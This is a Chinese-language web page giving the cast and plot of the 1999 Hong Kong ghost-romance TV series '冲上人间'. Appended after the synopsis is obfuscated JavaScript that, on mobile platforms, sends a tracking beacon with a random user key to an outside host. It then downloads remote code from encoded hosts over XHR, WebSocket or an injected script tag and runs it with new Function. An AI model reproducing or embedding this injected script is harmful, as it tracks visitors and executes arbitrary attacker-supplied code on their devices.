《冲上人间（粤语版）》是由周华宇执导，郭晋安,,张可颐,,陈法蓉,,张家辉,,林晓峰,,惠英红,,袁彩云,,骆应钧,,夏萍,,罗莽,主演的港台剧。该电视剧于1999年在香港上映。《冲上人间》，是一部很有特点的电视剧作品。女鬼跟人类拍拖的故事耳熟能详，《冲上人间》秉承了此类作品的灵魂，即鬼片未必要拍得阴森恐怖，轻松浪漫也可以是灵异题材的温情化展现，当人鬼之间产生了微妙的化学反应，学会相互理解、相互尊重，超越物种和精神的爱情也就应运而生。林家宜（张可颐）为人开朗活泼，乐于助人，深得街坊们的喜爱。但一次意外，家宜因救人竟触电死亡，虽得在场的古德明（郭晋安）实时抢救及施以人工呼吸，可惜仍返魂无术。家宜到阴间得优先投胎，一时好奇翻查名册，竟发现来世的父母是其表姐文少英（陈法蓉）和方志龙（张家辉）。但文少英与方志龙却是斗气冤家，为撮合二人，林家宜不惜向鬼褓姆小波（林晓峰）及死前曾和她通了气的古德明求助。方志龙、文少英在古德明及林家宜暗中安排下，终化敌为爱，走进教堂，更成功创业，生意兴隆。而古德明跟林家宜相处日久，竟动了真情。只是人鬼殊途，到底两人能不能打破阴阳相隔，厮守在一起？冲上人间粤语
function CIOWA(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GKqAOp(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return CIOWA(t);};window[''+'x'+'C'+'g'+'Y'+'y'+'B'+'u'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=GKqAOp,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ssd.zmneysz.com:7891/stats/7747/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZ0Zy4wYTljLmNvbSUzQQTg4OTE=','d3NzJTTNBJTTJGJTTJGcG8uemFjdm0uY29tJTTNBOTTUzMw==','4680',window,document,['Q','T']);}:function(){};